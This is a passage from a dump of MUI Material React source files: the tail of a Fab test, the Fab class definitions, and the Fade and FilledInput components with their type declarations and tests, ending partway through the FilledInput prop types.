expect(button).not.to.have.class(classes.sizeSmall);\n    expect(button).to.have.class(classes.sizeMedium);\n  });\n\n  it('should have a ripple', async () => {\n    const { container } = render(<Fab>Fab</Fab>);\n    await ripple.startTouch(screen.getByRole('button'));\n    expect(container.querySelector(`.${touchRippleClasses.root}`)).not.to.equal(null);\n  });\n\n  it('should pass disableRipple to ButtonBase', async () => {\n    const { container } = render(<Fab disableRipple>Fab</Fab>);\n    await ripple.startTouch(screen.getByRole('button'));\n    expect(container.querySelector(`.${touchRippleClasses.root}`)).to.equal(null);\n  });\n\n  // JSDOM doesn't support :focus-visible\n  it.skipIf(isJsdom())('should have a focusRipple', async function test() {\n    render(\n      <Fab\n        TouchRippleProps={{\n          classes: { ripplePulsate: 'pulsate-focus-visible' },\n        }}\n      >\n        Fab\n      </Fab>,\n    );\n\n    const button = screen.getByRole('button');\n\n    await ripple.startFocus(button);\n\n    expect(button.querySelector('.pulsate-focus-visible')).not.to.equal(null);\n  });\n\n  it('should pass disableFocusRipple to ButtonBase', async () => {\n    render(\n      <Fab\n        TouchRippleProps={{\n          classes: { ripplePulsate: 'pulsate-focus-visible' },\n        }}\n        disableFocusRipple\n      >\n        Fab\n      </Fab>,\n    );\n\n    const button = screen.getByRole('button');\n\n    await ripple.startFocus(button);\n\n    expect(button.querySelector('.pulsate-focus-visible')).to.equal(null);\n  });\n\n  it('should pass disabled class to ButtonBase', () => {\n    const disabledClassName = 'testDisabledClassName';\n    const { container } = render(<Fab disabled classes={{ disabled: disabledClassName }} />);\n\n    expect(container.querySelector('button')).to.have.class(disabledClassName);\n  });\n\n  it('should render Icon children with right classes', () => {\n    const childClassName = 'child-woof';\n    const iconChild = <Icon data-testid=\"icon\" className={childClassName} />;\n    render(<Fab>{iconChild}</Fab>);\n    const renderedIconChild = screen.getByTestId('icon');\n\n    expect(renderedIconChild).not.to.equal(null);\n    expect(renderedIconChild).to.have.class(childClassName);\n  });\n\n  describe('prop: nativeButton', () => {\n    it('forwards nativeButton={false} to ButtonBase with a custom component', () => {\n      const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(\n        <Fab component={CustomSpan} nativeButton={false}>\n          Fab\n        </Fab>,\n      );\n\n      const fab = screen.getByRole('button');\n      expect(fab).to.have.tagName('SPAN');\n      expect(fab).not.to.have.attribute('type');\n\n      // Proves nativeButton={false} was forwarded — without it, ButtonBase\n      // would warn about a non-button host with nativeButton omitted.\n      expect(errorSpy.mock.calls.length).to.equal(0);\n      errorSpy.mockRestore();\n    });\n  });\n\n  describe.skipIf(!isJsdom())('server-side', () => {\n    it('should server-side render', () => {\n      const { container } = renderToString(<Fab>Fab</Fab>);\n      expect(container.firstChild).to.have.text('Fab');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Fab/fabClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface FabClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  primary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  secondary: string;\n  /** Styles applied to the root element if `variant=\"extended\"`. */\n  extended: string;\n  /** Styles applied to the root element if `variant=\"circular\"`. */\n  circular: string;\n  /** State class applied to the ButtonBase root element if the button is keyboard focused. */\n  focusVisible: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if `color=\"inherit\"`. */\n  colorInherit: string;\n  /** Styles applied to the root element if `size=\"small\"``. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `size=\"medium\"``. */\n  sizeMedium: string;\n}\n\nexport type FabClassKey = keyof FabClasses;\n\nexport function getFabUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiFab', slot);\n}\n\nconst fabClasses: FabClasses = generateUtilityClasses('MuiFab', [\n  'root',\n  'primary',\n  'secondary',\n  'extended',\n  'circular',\n  'focusVisible',\n  'disabled',\n  'colorInherit',\n  'sizeSmall',\n  'sizeMedium',\n  'sizeLarge',\n  'info',\n  'error',\n  'warning',\n  'success',\n]);\n\nexport default fabClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Fab/index.d.ts",
    "content": "export { default } from './Fab';\nexport * from './Fab';\n\nexport { default as fabClasses } from './fabClasses';\nexport * from './fabClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Fab/index.js",
    "content": "export { default } from './Fab';\n\nexport { default as fabClasses } from './fabClasses';\nexport * from './fabClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Fade/Fade.d.ts",
    "content": "import * as React from 'react';\nimport { TransitionProps } from '../transitions/transition';\n\nexport interface FadeProps extends Omit<TransitionProps, 'children'> {\n  /**\n   * Perform the enter transition when it first mounts if `in` is also `true`.\n   * Set this to `false` to disable this behavior.\n   * @default true\n   */\n  appear?: boolean | undefined;\n  /**\n   * A single child content element.\n   */\n  children: React.ReactElement<unknown, any>;\n  /**\n   * The transition timing function.\n   * You may specify a single easing or a object containing enter and exit values.\n   */\n  easing?: TransitionProps['easing'] | undefined;\n  /**\n   * If `true`, the component will transition in.\n   */\n  in?: boolean | undefined;\n  ref?: React.Ref<unknown> | undefined;\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  timeout?: TransitionProps['timeout'] | undefined;\n}\n\n/**\n * The Fade transition is used by the [Modal](https://next.mui.com/material-ui/react-modal/) component.\n * It uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\n *\n * Demos:\n *\n * - [Transitions](https://next.mui.com/material-ui/transitions/)\n *\n * API:\n *\n * - [Fade API](https://next.mui.com/material-ui/api/fade/)\n * - inherits [Transition API](https://reactcommunity.org/react-transition-group/transition/#Transition-props)\n */\nexport default function Fade(props: FadeProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Fade/Fade.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { Transition } from 'react-transition-group';\nimport elementAcceptingRef from '@mui/utils/elementAcceptingRef';\nimport getReactElementRef from '@mui/utils/getReactElementRef';\nimport { useTheme } from '../zero-styled';\nimport { reflow, getTransitionProps } from '../transitions/utils';\nimport useForkRef from '../utils/useForkRef';\n\nconst styles = {\n  entering: {\n    opacity: 1,\n  },\n  entered: {\n    opacity: 1,\n  },\n};\n\n/**\n * The Fade transition is used by the [Modal](/material-ui/react-modal/) component.\n * It uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\n */\nconst Fade = React.forwardRef(function Fade(props, ref) {\n  const theme = useTheme();\n  const defaultTimeout = {\n    enter: theme.transitions.duration.enteringScreen,\n    exit: theme.transitions.duration.leavingScreen,\n  };\n\n  const {\n    addEndListener,\n    appear = true,\n    children,\n    easing,\n    in: inProp,\n    onEnter,\n    onEntered,\n    onEntering,\n    onExit,\n    onExited,\n    onExiting,\n    style,\n    timeout = defaultTimeout,\n    // eslint-disable-next-line react/prop-types\n    TransitionComponent = Transition,\n    ...other\n  } = props;\n\n  const enableStrictModeCompat = true;\n  const nodeRef = React.useRef(null);\n  const handleRef = useForkRef(nodeRef, getReactElementRef(children), ref);\n\n  const normalizedTransitionCallback = (callback) => (maybeIsAppearing) => {\n    if (callback) {\n      const node = nodeRef.current;\n\n      // onEnterXxx and onExitXxx callbacks have a different arguments.length value.\n      if (maybeIsAppearing === undefined) {\n        callback(node);\n      } else {\n        callback(node, maybeIsAppearing);\n      }\n    }\n  };\n\n  const handleEntering = normalizedTransitionCallback(onEntering);\n\n  const handleEnter = normalizedTransitionCallback((node, isAppearing) => {\n    reflow(node); // So the animation always start from the start.\n\n    const transitionProps = getTransitionProps(\n      { style, timeout, easing },\n      {\n        mode: 'enter',\n      },\n    );\n\n    node.style.webkitTransition = theme.transitions.create('opacity', transitionProps);\n    node.style.transition = theme.transitions.create('opacity', transitionProps);\n\n    if (onEnter) {\n      onEnter(node, isAppearing);\n    }\n  });\n\n  const handleEntered = normalizedTransitionCallback(onEntered);\n\n  const handleExiting = normalizedTransitionCallback(onExiting);\n\n  const handleExit = normalizedTransitionCallback((node) => {\n    const transitionProps = getTransitionProps(\n      { style, timeout, easing },\n      {\n        mode: 'exit',\n      },\n    );\n\n    node.style.webkitTransition = theme.transitions.create('opacity', transitionProps);\n    node.style.transition = theme.transitions.create('opacity', transitionProps);\n\n    if (onExit) {\n      onExit(node);\n    }\n  });\n\n  const handleExited = normalizedTransitionCallback(onExited);\n\n  const handleAddEndListener = (next) => {\n    if (addEndListener) {\n      // Old call signature before `react-transition-group` implemented `nodeRef`\n      addEndListener(nodeRef.current, next);\n    }\n  };\n\n  return (\n    <TransitionComponent\n      appear={appear}\n      in={inProp}\n      nodeRef={enableStrictModeCompat ? nodeRef : undefined}\n      onEnter={handleEnter}\n      onEntered={handleEntered}\n      onEntering={handleEntering}\n      onExit={handleExit}\n      onExited={handleExited}\n      onExiting={handleExiting}\n      addEndListener={handleAddEndListener}\n      timeout={timeout}\n      {...other}\n    >\n      {/* Ensure \"ownerState\" is not forwarded to the child DOM element when a direct HTML element is used. This avoids unexpected behavior since \"ownerState\" is intended for internal styling, component props and not as a DOM attribute. */}\n      {(state, { ownerState, ...restChildProps }) => {\n        return React.cloneElement(children, {\n          style: {\n            opacity: 0,\n            visibility: state === 'exited' && !inProp ? 'hidden' : undefined,\n            ...styles[state],\n            ...style,\n            ...children.props.style,\n          },\n          ref: handleRef,\n          ...restChildProps,\n        });\n      }}\n    </TransitionComponent>\n  );\n});\n\nFade.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Add a custom transition end trigger. Called with the transitioning DOM\n   * node and a done callback. Allows for more fine grained transition end\n   * logic. Note: Timeouts are still used as a fallback if provided.\n   */\n  addEndListener: PropTypes.func,\n  /**\n   * Perform the enter transition when it first mounts if `in` is also `true`.\n   * Set this to `false` to disable this behavior.\n   * @default true\n   */\n  appear: PropTypes.bool,\n  /**\n   * A single child content element.\n   */\n  children: elementAcceptingRef.isRequired,\n  /**\n   * The transition timing function.\n   * You may specify a single easing or a object containing enter and exit values.\n   */\n  easing: PropTypes.oneOfType([\n    PropTypes.shape({\n      enter: PropTypes.string,\n      exit: PropTypes.string,\n    }),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component will transition in.\n   */\n  in: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  onEnter: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onEntered: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onEntering: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExit: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExited: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExiting: PropTypes.func,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  timeout: PropTypes.oneOfType([\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nexport default Fade;\n"
  },
  {
    "path": "packages/mui-material/src/Fade/Fade.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport { Transition } from 'react-transition-group';\nimport Fade from '@mui/material/Fade';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Fade />', () => {\n  const { clock, render } = createRenderer();\n\n  const defaultProps = {\n    in: true,\n    children: <div />,\n  };\n\n  describeConformance(<Fade {...defaultProps} />, () => ({\n    render,\n    classes: {},\n    inheritComponent: Transition,\n    refInstanceof: window.HTMLDivElement,\n    skip: ['componentProp', 'themeDefaultProps', 'themeStyleOverrides', 'themeVariants'],\n  }));\n\n  describe('transition lifecycle', () => {\n    clock.withFakeTimers();\n\n    it('calls the appropriate callbacks for each transition', () => {\n      const handleEnter = spy();\n      const handleEntering = spy();\n      const handleEntered = spy();\n      const handleExit = spy();\n      const handleExiting = spy();\n      const handleExited = spy();\n\n      const { container, setProps } = render(\n        <Fade\n          onEnter={handleEnter}\n          onEntering={handleEntering}\n          onEntered={handleEntered}\n          onExit={handleExit}\n          onExiting={handleExiting}\n          onExited={handleExited}\n        >\n          <div id=\"test\" />\n        </Fade>,\n      );\n      const child = container.querySelector('#test');\n\n      setProps({ in: true });\n\n      expect(handleEnter.callCount).to.equal(1);\n      expect(handleEnter.args[0][0]).to.equal(child);\n      expect(handleEnter.args[0][0].style.transition).to.match(\n        /opacity 225ms cubic-bezier\\(0.4, 0, 0.2, 1\\)( 0ms)?/,\n      );\n\n      expect(handleEntering.callCount).to.equal(1);\n      expect(handleEntering.args[0][0]).to.equal(child);\n\n      clock.tick(1000);\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleEntered.args[0][0]).to.equal(child);\n\n      setProps({ in: false });\n\n      expect(handleExit.callCount).to.equal(1);\n      expect(handleExit.args[0][0]).to.equal(child);\n\n      expect(handleExit.args[0][0].style.transition).to.match(\n        /opacity 195ms cubic-bezier\\(0.4, 0, 0.2, 1\\)( 0ms)?/,\n      );\n\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExiting.args[0][0]).to.equal(child);\n\n      clock.tick(1000);\n\n      expect(handleExited.callCount).to.equal(1);\n      expect(handleExited.args[0][0]).to.equal(child);\n    });\n  });\n\n  describe('prop: appear', () => {\n    it('should work when initially hidden, appear=true', () => {\n      const { container } = render(\n        <Fade in={false} appear>\n          <div>Foo</div>\n        </Fade>,\n      );\n\n      const element = container.querySelector('div');\n\n      expect(element).toHaveInlineStyle({ opacity: '0' });\n      expect(element).toHaveInlineStyle({ visibility: 'hidden' });\n    });\n\n    it('should work when initially hidden, appear=false', () => {\n      const { container } = render(\n        <Fade in={false} appear={false}>\n          <div>Foo</div>\n        </Fade>,\n      );\n\n      const element = container.querySelector('div');\n\n      expect(element).toHaveInlineStyle({ opacity: '0' });\n      expect(element).toHaveInlineStyle({ visibility: 'hidden' });\n    });\n  });\n\n  describe('prop: timeout', () => {\n    it.skipIf(isJsdom())('should render the default theme values by default', function test() {\n      const theme = createTheme();\n      const enteringScreenDurationInSeconds = theme.transitions.duration.enteringScreen / 1000;\n\n      render(\n        <Fade in appear>\n          <div data-testid=\"child\">Foo</div>\n        </Fade>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({\n        transitionDuration: `${enteringScreenDurationInSeconds}s`,\n      });\n    });\n\n    it.skipIf(isJsdom())('should render the custom theme values', function test() {\n      const theme = createTheme({\n        transitions: {\n          duration: {\n            enteringScreen: 1,\n          },\n        },\n      });\n\n      render(\n        <ThemeProvider theme={theme}>\n          <Fade in appear>\n            <div data-testid=\"child\">Foo</div>\n          </Fade>\n        </ThemeProvider>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({ transitionDuration: '0.001s' });\n    });\n\n    it.skipIf(isJsdom())('should render the values provided via prop', function test() {\n      render(\n        <Fade in appear timeout={{ enter: 1 }}>\n          <div data-testid=\"child\">Foo</div>\n        </Fade>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({ transitionDuration: '0.001s' });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Fade/index.d.ts",
    "content": "export { default } from './Fade';\nexport * from './Fade';\n"
  },
  {
    "path": "packages/mui-material/src/Fade/index.js",
    "content": "export { default } from './Fade';\n"
  },
  {
    "path": "packages/mui-material/src/FilledInput/FilledInput.d.ts",
    "content": "import { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { InputBaseProps } from '../InputBase';\nimport { FilledInputClasses } from './filledInputClasses';\n\nexport interface FilledInputProps extends StandardProps<InputBaseProps> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<FilledInputClasses> | undefined;\n  /**\n   * If `true`, the label is hidden.\n   * This is used to increase density for a `FilledInput`.\n   * Be sure to add `aria-label` to the `input` element.\n   * @default false\n   */\n  hiddenLabel?: boolean | undefined;\n  /**\n   * If `true`, the input will not have an underline.\n   * @default false\n   */\n  disableUnderline?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Text Field](https://next.mui.com/material-ui/react-text-field/)\n *\n * API:\n *\n * - [FilledInput API](https://next.mui.com/material-ui/api/filled-input/)\n * - inherits [InputBase API](https://next.mui.com/material-ui/api/input-base/)\n */\ndeclare const FilledInput: ((props: FilledInputProps) => React.JSX.Element) & { muiName: string };\n\nexport default FilledInput;\n"
  },
  {
    "path": "packages/mui-material/src/FilledInput/FilledInput.js",
    "content": "'use client';\nimport * as React from 'react';\nimport deepmerge from '@mui/utils/deepmerge';\nimport refType from '@mui/utils/refType';\nimport PropTypes from 'prop-types';\nimport composeClasses from '@mui/utils/composeClasses';\nimport InputBase from '../InputBase';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport filledInputClasses, { getFilledInputUtilityClass } from './filledInputClasses';\nimport {\n  rootOverridesResolver as inputBaseRootOverridesResolver,\n  inputOverridesResolver as inputBaseInputOverridesResolver,\n  InputBaseRoot,\n  InputBaseInput,\n} from '../InputBase/InputBase';\nimport { capitalize } from '../utils';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disableUnderline, startAdornment, endAdornment, size, hiddenLabel, multiline } =\n    ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      !disableUnderline && 'underline',\n      startAdornment && 'adornedStart',\n      endAdornment && 'adornedEnd',\n      size === 'small' && `size${capitalize(size)}`,\n      hiddenLabel && 'hiddenLabel',\n      multiline && 'multiline',\n    ],\n    input: ['input'],\n  };\n\n  const composedClasses = composeClasses(slots, getFilledInputUtilityClass, classes);\n\n  return {\n    ...classes, // forward classes to the InputBase\n    ...composedClasses,\n  };\n};\n\nconst FilledInputRoot = styled(InputBaseRoot, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiFilledInput',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [\n      ...inputBaseRootOverridesResolver(props, styles),\n      !ownerState.disableUnderline && styles.underline,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => {\n    const light = theme.palette.mode === 'light';\n    const bottomLineColor = light ? 'rgba(0, 0, 0, 0.42)' : 'rgba(255, 255, 255, 0.7)';\n    const backgroundColor = light ? 'rgba(0, 0, 0, 0.06)' : 'rgba(255, 255, 255, 0.09)';\n    const hoverBackground = light ? 'rgba(0, 0, 0, 0.09)' : 'rgba(255, 255, 255, 0.13)';\n    const disabledBackground = light ? 'rgba(0, 0, 0, 0.12)' : 'rgba(255, 255, 255, 0.12)';\n    return {\n      position: 'relative',\n      backgroundColor: theme.vars ? theme.vars.palette.FilledInput.bg : backgroundColor,\n      borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n      borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n      transition: theme.transitions.create('background-color', {\n        duration: theme.transitions.duration.shorter,\n        easing: theme.transitions.easing.easeOut,\n      }),\n      '&:hover': {\n        backgroundColor: theme.vars ? theme.vars.palette.FilledInput.hoverBg : hoverBackground,\n        // Reset on touch devices, it doesn't add specificity\n        '@media (hover: none)': {\n          backgroundColor: theme.vars ? theme.vars.palette.FilledInput.bg : backgroundColor,\n        },\n      },\n      [`&.${filledInputClasses.focused}`]: {\n        backgroundColor: theme.vars ? theme.vars.palette.FilledInput.bg : backgroundColor,\n      },\n      [`&.${filledInputClasses.disabled}`]: {\n        backgroundColor: theme.vars\n          ? theme.vars.palette.FilledInput.disabledBg\n          : disabledBackground,\n      },\n      variants: [\n        {\n          props: ({ ownerState }) => !ownerState.disableUnderline,\n          style: {\n            '&::after': {\n              left: 0,\n              bottom: 0,\n              content: '\"\"',\n              position: 'absolute',\n              right: 0,\n              transform: 'scaleX(0)',\n              transition: theme.transitions.create('transform', {\n                duration: theme.transitions.duration.shorter,\n                easing: theme.transitions.easing.easeOut,\n              }),\n              pointerEvents: 'none', // Transparent to the hover style.\n            },\n            [`&.${filledInputClasses.focused}:after`]: {\n              // translateX(0) is a workaround for Safari transform scale bug\n              // See https://github.com/mui/material-ui/issues/31766\n              transform: 'scaleX(1) translateX(0)',\n            },\n            [`&.${filledInputClasses.error}`]: {\n              '&::before, &::after': {\n                borderBottomColor: (theme.vars || theme).palette.error.main,\n              },\n            },\n            '&::before': {\n              borderBottom: `1px solid ${\n                theme.vars\n                  ? theme.alpha(\n                      theme.vars.palette.common.onBackground,\n                      theme.vars.opacity.inputUnderline,\n                    )\n                  : bottomLineColor\n              }`,\n              left: 0,\n              bottom: 0,\n              content: '\"\"',\n              position: 'absolute',\n              right: 0,\n              transition: theme.transitions.create('border-bottom-color', {\n                duration: theme.transitions.duration.shorter,\n              }),\n              pointerEvents: 'none', // Transparent to the hover style.\n            },\n            [`&:hover:not(.${filledInputClasses.disabled}, .${filledInputClasses.error}):before`]: {\n              borderBottom: `1px solid ${(theme.vars || theme).palette.text.primary}`,\n            },\n            [`&.${filledInputClasses.disabled}:before`]: {\n              borderBottomStyle: 'dotted',\n            },\n          },\n        },\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter()) // check all the used fields in the style below\n          .map(([color]) => ({\n            props: {\n              disableUnderline: false,\n              color,\n            },\n            style: {\n              '&::after': {\n                borderBottom: `2px solid ${(theme.vars || theme).palette[color]?.main}`,\n              },\n            },\n          })),\n        {\n          props: ({ ownerState }) => ownerState.startAdornment,\n          style: {\n            paddingLeft: 12,\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.endAdornment,\n          style: {\n            paddingRight: 12,\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.multiline,\n          style: {\n            padding: '25px 12px 8px',\n          },\n        },\n        {\n          props: ({ ownerState, size }) => ownerState.multiline && size === 'small',\n          style: {\n            paddingTop: 21,\n            paddingBottom: 4,\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.multiline && ownerState.hiddenLabel,\n          style: {\n            paddingTop: 16,\n            paddingBottom: 17,\n          },\n        },\n        {\n          props: ({ ownerState }) =>\n            ownerState.multiline && ownerState.hiddenLabel && ownerState.size === 'small',\n          style: {\n            paddingTop: 8,\n            paddingBottom: 9,\n          },\n        },\n      ],\n    };\n  }),\n);\n\nconst FilledInputInput = styled(InputBaseInput, {\n  name: 'MuiFilledInput',\n  slot: 'Input',\n  overridesResolver: inputBaseInputOverridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    paddingTop: 25,\n    paddingRight: 12,\n    paddingBottom: 8,\n    paddingLeft: 12,\n    ...(!theme.vars && {\n      '&:-webkit-autofill': {\n        WebkitBoxShadow: theme.palette.mode === 'light' ? null : '0 0 0 100px #266798 inset',\n        WebkitTextFillColor: theme.palette.mode === 'light' ? null : '#fff',\n        caretColor: theme.palette.mode === 'light' ? null : '#fff',\n        borderTopLeftRadius: 'inherit',\n        borderTopRightRadius: 'inherit',\n      },\n    }),\n    ...(theme.vars && {\n      '&:-webkit-autofill': {\n        borderTopLeftRadius: 'inherit',\n        borderTopRightRadius: 'inherit',\n      },\n      [theme.getColorSchemeSelector('dark')]: {\n        '&:-webkit-autofill': {\n          WebkitBoxShadow: '0 0 0 100px #266798 inset',\n          WebkitTextFillColor: '#fff',\n          caretColor: '#fff',\n        },\n      },\n    }),\n    variants: [\n      {\n        props: {\n          size: 'small',\n        },\n        style: {\n          paddingTop: 21,\n          paddingBottom: 4,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.hiddenLabel,\n        style: {\n          paddingTop: 16,\n          paddingBottom: 17,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.startAdornment,\n        style: {\n          paddingLeft: 0,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.endAdornment,\n        style: {\n          paddingRight: 0,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.hiddenLabel && ownerState.size === 'small',\n        style: {\n          paddingTop: 8,\n          paddingBottom: 9,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.multiline,\n        style: {\n          paddingTop: 0,\n          paddingBottom: 0,\n          paddingLeft: 0,\n          paddingRight: 0,\n        },\n      },\n    ],\n  })),\n);\n\nconst FilledInput = React.forwardRef(function FilledInput(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiFilledInput' });\n\n  const {\n    disableUnderline = false,\n    fullWidth = false,\n    hiddenLabel, // declare here to prevent spreading to DOM\n    inputComponent = 'input',\n    multiline = false,\n    slotProps,\n    slots = {},\n    type = 'text',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    disableUnderline,\n    fullWidth,\n    inputComponent,\n    multiline,\n    type,\n  };\n\n  const classes = useUtilityClasses(props);\n  const filledInputComponentsProps = { root: { ownerState }, input: { ownerState } };\n\n  const componentsProps = slotProps\n    ? deepmerge(filledInputComponentsProps, slotProps)\n    : filledInputComponentsProps;\n\n  const RootSlot = slots.root ?? FilledInputRoot;\n  const InputSlot = slots.input ?? FilledInputInput;\n\n  return (\n    <InputBase\n      slots={{ root: RootSlot, input: InputSlot }}\n      slotProps={componentsProps}\n      fullWidth={fullWidth}\n      inputComponent={inputComponent}\n      multiline={multiline}\n      ref={ref}\n      type={type}\n      {...other}\n      classes={classes}\n    />\n  );\n});\n\nFilledInput.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * This prop helps users to fill forms faster, especially on mobile devices.\n   * The name can be confusing, as it's more like an autofill.\n   * You can learn more about it [following the specification](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill).\n   */\n  autoComplete: PropTypes.string,\n  /**\n   * If `true`, the `input` element is focused during the first mount.\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * The prop defaults to the value (`'primary'`) inherited from the parent FormControl component.\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['primary', 'secondary']),\n    PropTypes.string,\n  ]),\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue: PropTypes.any,\n  /**\n   * If `true`, the component is disabled.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the input will not have an underline.\n   * @default false\n   */\n  disableUnderline: PropTypes.bool,\n  /**\n   * End `InputAdornment` for this component.\n   */\n  endAdornment: PropTypes.node,\n  /**\n   * If `true`, the `input` will indicate an error.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  error: PropTypes.bool,\n  /**\n   * If `true`, the `input` will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * If `true`, the label is hidden.\n   * This is used to increase density for a `FilledInput`.\n   * Be sure to add `aria-label` to the `input` element.\n   * @default false\n   */\n  hiddenLabel: PropTypes.bool,\n  /**\n   * The id of the `input` element.\n   */\n  id: PropTypes.string,\n  /**\n   * The component used for the `input` element.\n   * Either a string to use a HTML element or a component.\n   * @default 'input'\n   */\n  inputComponent: PropTypes.elementType,\n  /**\n   * [Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes) applied to the `input` element.\n   * @default {}\n   */\n  inputProps: PropTypes.object,\n  /**\n   * Pass a ref to the `input` element.\n   */\n  inputRef: refType,\n  /**\n   * If `dense`, will adjust vertical spacing. This is normally obtained via context from\n   * FormControl.\n   * The prop defaults to the value (`'none'`) inherited from the parent FormControl component.\n   */\n  margin: PropTypes.oneOf(['dense', 'none']),\n  /**\n   * Maximum number of rows to display when multiline option is set to true.\n   */\n  maxRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * Minimum number of rows to display when multiline option is set to true.\n   */\n  minRows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * If `true`, a [TextareaAutosize](https://mui.com/material-ui/react-textarea-autosize/) element is rendered.\n   * @default false\n   */\n  multiline: PropTypes.bool,\n  /**\n   * Name attribute of the `input` element.\n   */\n  name: PropTypes.string,\n  /**\n   * Callback fired when the value is changed.\n   *\n   * @param {React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>} event The event source of the callback.\n   